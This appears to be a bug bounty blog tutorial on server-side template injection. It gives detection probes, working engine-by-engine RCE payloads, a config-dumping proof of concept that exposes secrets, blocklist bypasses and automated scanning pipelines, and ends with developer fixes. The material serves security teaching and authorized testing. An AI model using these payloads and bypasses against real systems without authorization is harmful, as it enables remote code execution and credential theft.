August 14, 2026
{{7*7}} = 49: A Bug Hunter’s Guide to Server-Side Template Injection
How “Hello, {name}” turns into remote code execution.

By Fuzzyy Duck
7 min read
Some of the best bugs hide inside the friendliest features. A personalized greeting. A welcome email. An invoice that says "Thank you, [Your Name]." These feel harmless, they're just putting your name on a page. But if the developer built that greeting the wrong way, your name stops being text on the page and becomes code the server runs. That's Server-Side Template Injection, and it's one of the few web bugs where the default endgame is full remote code execution.
If you already hunt reflected XSS, you're standing on top of SSTI without knowing it, same reflection points, wildly higher impact. Let me show you how to tell the difference, and how to walk it all the way to RCE.
The core idea
Modern apps use template engines Jinja2, Twig, Freemarker, and friends to build dynamic pages. You give the engine a template and some data, it renders the two together. SSTI happens when user input is concatenated into the template itself instead of being passed to it as data.
# SAFE: your input is DATA handed to the template
render_template("hello.html", name=user_input)
# VULNERABLE: your input becomes part of the template SOURCE
render_template_string("Hello " + user_input)# SAFE: your input is DATA handed to the template
render_template("hello.html", name=user_input)
# VULNERABLE: your input becomes part of the template SOURCE
render_template_string("Hello " + user_input)In the safe version, the engine treats your name as a value to display. In the vulnerable version, your name is spliced into the template's code, and the engine happily executes whatever template syntax you write. And here's the kicker: template engines can reach down into the language runtime beneath them Python, PHP, Java, Ruby. So injecting into the template isn't like injecting into the page. It's injecting into the interpreter.
The mental model: you're not injecting into the page, you're injecting into the engine and the engine can touch the runtime underneath it.
Where to look
Anywhere your input might get rendered by a server-side template:
- Personalized reflections — "Hello {name}", greetings, notifications
- Email / message templates, especially user-customizable ones (signatures, custom messages)
- PDF / invoice / report generators — they template heavily; a huge SSTI surface
- CMS page builders, custom themes, "insert variable" features
- Error pages that echo your input
- Name / bio / profile fields rendered somewhere else in the app
- Every reflected-XSS sink you've ever found — test it for SSTI too
The overlap worth internalizing:_ if you found reflected input and the app is server-rendered (Flask, Django, PHP, Java, Rails, Node), test for SSTI_ before you settle for XSS.
{{7*7}}returning49is a straight upgrade from an alert box to code execution.
Detection — the three-step tree
Step 1 — the polyglot probe. Throw a mix of template meta-characters and see if the engine chokes:
${{<%[%'"}}%\${{<%[%'"}}%\An error or mangled rendering means a template engine is chewing on your input. Now confirm it evaluates.
Step 2 — the math test. This is the whole bug in five characters. If your input is evaluated, the engine does the arithmetic:
{{7*7}} → 49 Jinja2, Twig (curly-brace family)
${7*7} → 49 Freemarker, Java engines
<%= 7*7 %> → 49 ERB (Ruby)
{7*7} → 49 Smarty{{7*7}} → 49 Jinja2, Twig (curly-brace family)
${7*7} → 49 Freemarker, Java engines
<%= 7*7 %> → 49 ERB (Ruby)
{7*7} → 49 SmartyIf 7*7 comes back as 49, you have SSTI. If it comes back literally as 7*7, you don't. That's the cleanest yes/no test in web security.
Step 3 — fingerprint the exact engine, because every exploit is engine-specific. The classic tie-breaker:
{{7*'7'}} → 7777777 → Jinja2 (Python repeats the string)
{{7*'7'}} → 49 → Twig (PHP does the math){{7*'7'}} → 7777777 → Jinja2 (Python repeats the string)
{{7*'7'}} → 49 → Twig (PHP does the math)From there it's a decision tree: ${7*7} works but not {{7*7}}? Java (Freemarker/Velocity). <%= %> works? Ruby ERB. Nail the engine before you reach for payloads.
Exploitation, engine by engine
Prove RCE with a harmless id, never a destructive command.
Jinja2 (Python / Flask) — the most common in bounties. Clean modern payloads:
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}Twig (PHP):
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}Freemarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}${"freemarker.template.utility.Execute"?new()("id")}Velocity (Java):
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")Smarty (PHP):
{system('id')}{system('id')}ERB (Ruby):
<%= `id` %><%= `id` %>Mako (Python):
<%import os%>${os.popen('id').read()}<%import os%>${os.popen('id').read()}The safest high-impact PoC: {{config}}
Before you even reach for os.popen, know this Flask trick — it demonstrates critical impact with zero system interaction:
{{config}}{{config}}On a Flask/Jinja2 app this dumps the entire application config including SECRET_KEY, database credentials, and API keys straight into the response. It's the perfect proof-of-concept: undeniable impact, nothing destructive, nothing that could break the target. Lead your report with {{7*7}} → 49, escalate to {{config}}, and you've made a critical case without running a single shell command.
Filter bypasses (Jinja2-focused)
Since Jinja2 is the most hardened, it's where the real finding usually lives. Naive blocklists of __class__, os, or . are trivially reconstructed:
|attr()instead of the dot:{{request|attr('application')}}- Brackets instead of the dot:
{{request['application']}} - Concatenate the blocked string:
{{request|attr('__cl'+'ass__')}} - Smuggle the banned substring through another parameter: send
{{request|attr(request.args.p)}}with?p=__class__the payload body never contains the blocked word - Rebuild primitives with filters —
join,format,attr,mapreconstruct what the blocklist stripped
If a filter blocks the obvious words, assume it's defeatable the engine gives you a dozen ways to spell the same thing.
Blind SSTI
No reflection? Still exploitable, still reportable:
- Time-based: a payload that triggers a sleep if the response hangs, it evaluated.
- Out-of-band: RCE that makes the server ping your Collaborator/interactsh host (
curl/nslookupto your domain). An OOB hit confirms code execution with zero visible output. - Error differentials: valid vs. invalid template syntax returning different errors confirms an engine is parsing you.
Tools
SSTImap modern detection + exploitation, broad engine coverage
tplmap the original SSTI auto-exploitation tool
Burp manual probing in Repeater; scanner flags some SSTI
payloads PayloadsAllTheThings "Server Side Template Injection"SSTImap modern detection + exploitation, broad engine coverage
tplmap the original SSTI auto-exploitation tool
Burp manual probing in Repeater; scanner flags some SSTI
payloads PayloadsAllTheThings "Server Side Template Injection"Run the math test by hand first automation is for after you've confirmed the engine, not instead of understanding it.
Automating SSTI discovery
Manual testing finds the bug on one endpoint. Automation finds it across a whole scope and SSTI automates well if you use one trick: inject a payload whose evaluated output is a unique, searchable string. Instead of {{7*7}} (whose 49 might appear naturally on a page), use an unlikely product:
{{1337*1337}} → 1787569{{1337*1337}} → 17875691787569 almost never appears in a normal response, so any tool can flag a true positive by grepping for it. That single idea powers every pipeline below.
Step 1 — collect URLs and discover parameters. SSTI hides in parameters you haven't found yet, so enumerate first:
gau target.com | tee urls.txt # historical URLs
katana -u https://target.com -o urls.txt # active crawl
arjun -u https://target.com/page -oT params.txt # find hidden params
paramspider -d target.com # mine params from archivesgau target.com | tee urls.txt # historical URLs
katana -u https://target.com -o urls.txt # active crawl
arjun -u https://target.com/page -oT params.txt # find hidden params
paramspider -d target.com # mine params from archivesStep 2 — fuzz every parameter with a math polyglot and grep the evaluated result. ffuf matches on the unique output, not the payload:
ffuf -u "https://target.com/page?FUZZ={{1337*1337}}" -w params.txt -mr "1787569"
ffuf -u "https://target.com/page?name=FUZZ" -w ssti-payloads.txt -mr "1787569|7778"ffuf -u "https://target.com/page?FUZZ={{1337*1337}}" -w params.txt -mr "1787569"
ffuf -u "https://target.com/page?name=FUZZ" -w ssti-payloads.txt -mr "1787569|7778"The -mr (match-regex) on the rendered value is what separates real evaluation from harmless reflection.
Step 3 — let nuclei sweep known SSTI patterns. Nuclei ships SSTI templates that inject arithmetic and match on the result across many engines:
nuclei -u https://target.com -tags ssti
nuclei -l urls.txt -tags ssti,rce -severity high,critical -o ssti-hits.txtnuclei -u https://target.com -tags ssti
nuclei -l urls.txt -tags ssti,rce -severity high,critical -o ssti-hits.txtStep 4 — hand confirmed hits to a dedicated exploitation tool. Once something flags, SSTImap does engine detection and RCE automatically, including a crawl mode that finds the sink for you:
python3 sstimap.py -u "https://target.com/page?name=test"
python3 sstimap.py -u https://target.com --crawl 5 # crawl + auto-detect
python3 sstimap.py -l urls.txt # run across a listpython3 sstimap.py -u "https://target.com/page?name=test"
python3 sstimap.py -u https://target.com --crawl 5 # crawl + auto-detect
python3 sstimap.py -l urls.txt # run across a listStep 5 — scale it in Burp. For authenticated or complex flows, use Intruder: load an SSTI payload list, set the target as the parameter, and add a grep-match on 1787569 so successful evaluations light up in the results table. Burp's active scanner also flags some SSTI on its own during a crawl.
The one-liner mindset: chain collect → param-discover → fuzz-with-unique-math → grep. A confirmed evaluation on any parameter is your entry point; only then do you fingerprint the engine and escalate by hand. Automation finds the door; you still pick the lock.
Automation caveat: scanners produce false positives (reflected math a WAF didn't evaluate) and false negatives (blind SSTI with no output). Treat a tool hit as a lead to verify manually with
{{7*7}}and{{7*'7'}}, and don't let a clean scan convince you an engine isn't there test the promising sinks by hand regardless.
The cheatsheet
[ FIND THE SINK ]
greetings "Hello {name}" | emails | PDF/invoice gen
CMS/theme builders | error pages | profile fields
EVERY reflected-XSS sink on a server-rendered app
[ DETECT (3 steps) ]
1. polyglot: ${{<%[%'"}}%\ -> error = engine present
2. math: {{7*7}} -> 49 -> confirms SSTI
7*7 stays literal -> NOT ssti
3. fingerprint: {{7*'7'}}
7777777 = Jinja2 | 49 = Twig
${7*7} = Java | <%= %> = Ruby
[ RCE BY ENGINE (prove with id) ]
Jinja2 {{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
Twig {{['id']|filter('system')}}
Freemarker ${"freemarker.template.utility.Execute"?new()("id")}
Velocity #set($e=...)...Runtime...exec("id")
Smarty {system('id')}
ERB <%= `id` %>
Mako <%import os%>${os.popen('id').read()}
[ SAFEST CRITICAL POC (Flask) ]
{{config}} -> dumps SECRET_KEY, DB creds, API keys
[ JINJA2 FILTER BYPASS ]
{{request|attr('application')}} no dot
{{request['application']}} brackets
{{request|attr('__cl'+'ass__')}} concat
{{request|attr(request.args.p)}}&p=__class__ smuggle
[ BLIND ]
time-based sleep | OOB collaborator ping | error diff
[ AUTOMATE (unique-math trick) ]
inject {{1337*1337}} -> grep 1787569 (never appears naturally)
gau/katana -> urls | arjun/paramspider -> params
ffuf -u "URL?name=FUZZ" -w payloads -mr "1787569"
nuclei -l urls.txt -tags ssti,rce -severity high,critical
sstimap.py -u URL --crawl 5 (auto-detect + RCE)
Burp Intruder + grep-match 1787569
-> tool finds the door, you pick the lock by hand[ FIND THE SINK ]
greetings "Hello {name}" | emails | PDF/invoice gen
CMS/theme builders | error pages | profile fields
EVERY reflected-XSS sink on a server-rendered app
[ DETECT (3 steps) ]
1. polyglot: ${{<%[%'"}}%\ -> error = engine present
2. math: {{7*7}} -> 49 -> confirms SSTI
7*7 stays literal -> NOT ssti
3. fingerprint: {{7*'7'}}
7777777 = Jinja2 | 49 = Twig
${7*7} = Java | <%= %> = Ruby
[ RCE BY ENGINE (prove with id) ]
Jinja2 {{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
Twig {{['id']|filter('system')}}
Freemarker ${"freemarker.template.utility.Execute"?new()("id")}
Velocity #set($e=...)...Runtime...exec("id")
Smarty {system('id')}
ERB <%= `id` %>
Mako <%import os%>${os.popen('id').read()}
[ SAFEST CRITICAL POC (Flask) ]
{{config}} -> dumps SECRET_KEY, DB creds, API keys
[ JINJA2 FILTER BYPASS ]
{{request|attr('application')}} no dot
{{request['application']}} brackets
{{request|attr('__cl'+'ass__')}} concat
{{request|attr(request.args.p)}}&p=__class__ smuggle
[ BLIND ]
time-based sleep | OOB collaborator ping | error diff
[ AUTOMATE (unique-math trick) ]
inject {{1337*1337}} -> grep 1787569 (never appears naturally)
gau/katana -> urls | arjun/paramspider -> params
ffuf -u "URL?name=FUZZ" -w payloads -mr "1787569"
nuclei -l urls.txt -tags ssti,rce -severity high,critical
sstimap.py -u URL --crawl 5 (auto-detect + RCE)
Burp Intruder + grep-match 1787569
-> tool finds the door, you pick the lock by handWhen it's NOT SSTI (false positives)
7*7renders literally no evaluation, no bug.- The rendering is client-side (Angular/Vue/Handlebars in the browser) that's client-side template injection / XSS, a different and less severe bug, not server-side RCE.
- Input is correctly passed as a context variable (data), not concatenated into the template source.
- A properly sandboxed engine with file access off and no known escape may cap at limited evaluation.
- A WAF reflects the math unevaluated.
How developers should fix it
- Never concatenate user input into template source. Pass it as a context variable, always.
- Use
render_template("file.html", var=input)neverrender_template_string("..." + input). - If users must supply templates, use a sandboxed environment (
SandboxedEnvironmentin Jinja2) and treat the sandbox as defense-in-depth, not a guarantee. - Prefer logic-less templates (Mustache) where you can less power in the template, smaller blast radius.
Closing
SSTI is what reflected XSS wishes it were. The same "your input showed up on the page" instinct that finds an alert box, pointed at a server-rendered app and confirmed with five characters {{7*7}} can hand you the runtime. Find the friendly feature that puts your name on the page, ask the engine to do a little math, and if it answers 49, you've found a door most people walk right past.